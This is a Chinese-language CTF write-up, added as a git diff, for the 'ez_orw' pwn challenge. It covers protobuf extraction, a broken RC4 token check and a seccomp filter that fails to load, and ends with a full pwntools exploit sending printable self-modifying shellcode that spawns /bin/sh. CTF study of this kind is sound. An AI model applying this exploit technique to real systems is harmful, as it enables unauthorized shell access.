|
| 1 | +# orw |
| 2 | + |
| 3 | +> 只要你做出来了,你就能拿到这个数,拿不到的话我来给你补 |
| 4 | +
|
| 5 | +## 文件属性 |
| 6 | + |
| 7 | +|属性 |值 | |
| 8 | +|------|------| |
| 9 | +|Arch |amd64 | |
| 10 | +|RELRO |Full | |
| 11 | +|Canary|on | |
| 12 | +|NX |on | |
| 13 | +|PIE |on | |
| 14 | +|strip |yes | |
| 15 | + |
| 16 | +## seccomp rules |
| 17 | + |
| 18 | +有沙箱,但是无法加载,等效于无沙箱 |
| 19 | + |
| 20 | +<img src="assets/broken_seccomp.png" width="60%"> |
| 21 | + |
| 22 | +## 解题思路 |
| 23 | + |
| 24 | +### 吃一堑吃一堑 |
| 25 | + |
| 26 | +早在半决赛的时候,就有过protobuf的题,那个时候不会做,等到我看到了能提取proto的工具, |
| 27 | +我也只是想到需要学一下,结果没想到决赛又考了,而我工具还没下,这下输麻了。 |
| 28 | + |
| 29 | +那么现在就来介绍一下北邮✌️写的[这个工具](https://github.com/Rea1Atomic/protobuf-pwn-tool)吧 |
| 30 | + |
| 31 | +<img src="assets/pbpt.png" width="50%"> |
| 32 | + |
| 33 | +使用一行命令,这个小工具可以直接将elf里保存的proto导出到文件, |
| 34 | +接下来就可以使用protoc工具生成`.h`和`.c`文件,随便写一个空壳文件并include头文件, |
| 35 | +然后写一个空的`main`函数,最后`-g`两个文件一起编译,就可以将文件拖入Ghidra中,复制出结构体定义了。 |
| 36 | + |
| 37 | +```sh |
| 38 | +protoc --c_out=. ez_orw.proto |
| 39 | +cat << EOF > c.c |
| 40 | +#include "ez_orw.pb-c.h" |
| 41 | +int main() {} |
| 42 | +EOF |
| 43 | +gcc -g c.c ez_orw.pb-c.c |
| 44 | +protoc --python_out=. ez_orw.proto |
| 45 | +``` |
| 46 | + |
| 47 | +最后还原效果如下图所示 |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | +最后在脚本中`import ez_orw_pb2`就可以用了。 |
| 52 | + |
| 53 | +### RC4加密,对吗? |
| 54 | + |
| 55 | +在运行shellcode前,需要对`giaotoken`做检查,阅读其中的两个函数, |
| 56 | +不难发现是RC4加密,但是如果直接用RC4解密,会发现,得到的明文中有00字符, |
| 57 | +并且有一些都不是可见字符。仔细检查解密过程,没有错误,难道是他写的RC4实现有问题? |
| 58 | + |
| 59 | +```python |
| 60 | +from Crypto.Cipher import ARC4 |
| 61 | +ciphertext = bytes.fromhex(''' |
| 62 | +6a 36 af a6 7b a8 5f b9 63 7d 83 c7 0c 1c 8d 91 |
| 63 | +d3 f2 6e 6b b3 f9 77 f8 bf e2 88 e8 fc ec fd 8e |
| 64 | +fd 92 fe 40 |
| 65 | +''') |
| 66 | +key = b'114514giaogiaogiao99' |
| 67 | +cipher = ARC4.new(key) |
| 68 | +print(cipher.decrypt(ciphertext)) |
| 69 | +# b'\t\x06PQ\x06\x0c\x02XLVW[TBS\rTX\x14\x00c2e-418608b3bbea' |
| 70 | +``` |
| 71 | + |
| 72 | +后半部分看起来是正常的,前半部分不太对。尝试将其作为token输入,得到的结果并不正确。 |
| 73 | +突然我想到RC4的加解密是对称的,只要用gdb修改token为密文,然后让程序运行加密函数, |
| 74 | +就可以从内存中拿到明文。正确结果是一个UUID字符串。也就是说,这道题的RC4实现也有问题。 |
| 75 | + |
| 76 | +### 坏掉的seccomp |
| 77 | + |
| 78 | +在检查完token后,还要对`giaoid`,`giaosize`以及输入的shellcode做检查, |
| 79 | +shellcode必须是可打印字符。还要检查输入的shellcode长度和protobuf长度, |
| 80 | +最后应用一个沙箱后执行shellcode。 |
| 81 | + |
| 82 | +为了在不输入protobuf的情况下运行沙箱,我选择了用gdb修改rip,让程序直接运行到`prctl`的地方, |
| 83 | +好不容易把filter拿出来了,让`seccomp-tools`解析一下,却发现goto跳转的目标行号, |
| 84 | +是要比filter的长度长的。这么显然的错误内核自然不会放过,因此沙箱并没有成功加上, |
| 85 | +系统调用失败了。后面我们可以直接`execve`拿shell。 |
| 86 | + |
| 87 | +### 连起来 |
| 88 | + |
| 89 | +最后,设置一下shellcode的最大长度,满足一下各种条件,再写个shellcode就可得到如下脚本。 |
| 90 | + |
| 91 | +> 妥妥的烂题,沙箱不会写,RC4不会实现,整道题充斥着烂梗,能出这种题目的家里请什么都没用了。 |
| 92 | +
|
| 93 | +## EXPLOIT |
| 94 | + |
| 95 | +```python |
| 96 | +from pwn import * |
| 97 | +import string |
| 98 | +import ez_orw_pb2 |
| 99 | +context.terminal = ['tmux', 'splitw', '-h'] |
| 100 | +context.arch = 'amd64' |
| 101 | +def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' |
| 102 | +EXE = './ez_orw' |
| 103 | +printable = bytes(string.printable, 'utf-8') |
| 104 | + |
| 105 | +def payload(lo: int): |
| 106 | + global t |
| 107 | + if lo: |
| 108 | + t = process(EXE) |
| 109 | + if lo & 2: |
| 110 | + gdb.attach(t) |
| 111 | + else: |
| 112 | + t = remote('', 9999) |
| 113 | + |
| 114 | + # run until protobuf msg input |
| 115 | + t.sendlineafter(b'DO U', b'0x0') |
| 116 | + t.sendlineafter(b'replenish\n', b'64') # set up shellcode max length |
| 117 | + pie_base = int(t.recv(14), 16) - 0x5008 |
| 118 | + success(GOLD_TEXT(f'Got pie_base: {pie_base:#x}')) |
| 119 | + t.sendline(hex(pie_base + 0x3041).encode()) |
| 120 | + |
| 121 | + code = ''' |
| 122 | + // mov rbx, rax # rax == shellcode |
| 123 | + push rax |
| 124 | + pop rbx |
| 125 | + // xor esi, esi; xor edx, edx |
| 126 | + push 0x20 |
| 127 | + pop rax |
| 128 | + xor al, 0x20 |
| 129 | + push rax |
| 130 | + push rax |
| 131 | + push rax |
| 132 | + pop rsi |
| 133 | + pop rdx |
| 134 | + // 2f2f -> 0f05 |
| 135 | + push 0x20202020 |
| 136 | + pop rcx |
| 137 | + xor word ptr [rbx + 0x20], cx |
| 138 | + // lea rdi, "/bin/sh" |
| 139 | + xor rax, qword ptr [rbx + 0x22] |
| 140 | + push rax |
| 141 | + push rsp |
| 142 | + pop rdi |
| 143 | + // mov eax, SYS_execve |
| 144 | + push 0x3b |
| 145 | + pop rax |
| 146 | + // syscall |
| 147 | + ''' |
| 148 | + shellcode = asm(code) + b'\x2f\x25/bin/sh' |
| 149 | + assert len(shellcode) == 0x20 + 9 and all(byte in printable for byte in shellcode) |
| 150 | + message = ez_orw_pb2.Msgiao() |
| 151 | + message.giaoid = 0x114514 |
| 152 | + message.giaosize = 0x415411 |
| 153 | + message.giaotoken = b'87dd78e1-9025-4d57-9c2e-418608b3bbea' |
| 154 | + message.giaocontent = shellcode |
| 155 | + success(f'Sending shellcode len({shellcode}) = {len(shellcode):#x}') |
| 156 | + t.sendafter(b'your giao', message.SerializeToString()) |
| 157 | + |
| 158 | + t.clean() |
| 159 | + t.interactive() |
| 160 | + t.close() |
| 161 | +``` |
| 162 | + |
| 163 | + |
| 164 | + |
| 165 | +## 参考 |
| 166 | + |
| 167 | +1. [Rea1Atomic/protobuf-pwn-tool](https://github.com/Rea1Atomic/protobuf-pwn-tool) |
0 commit comments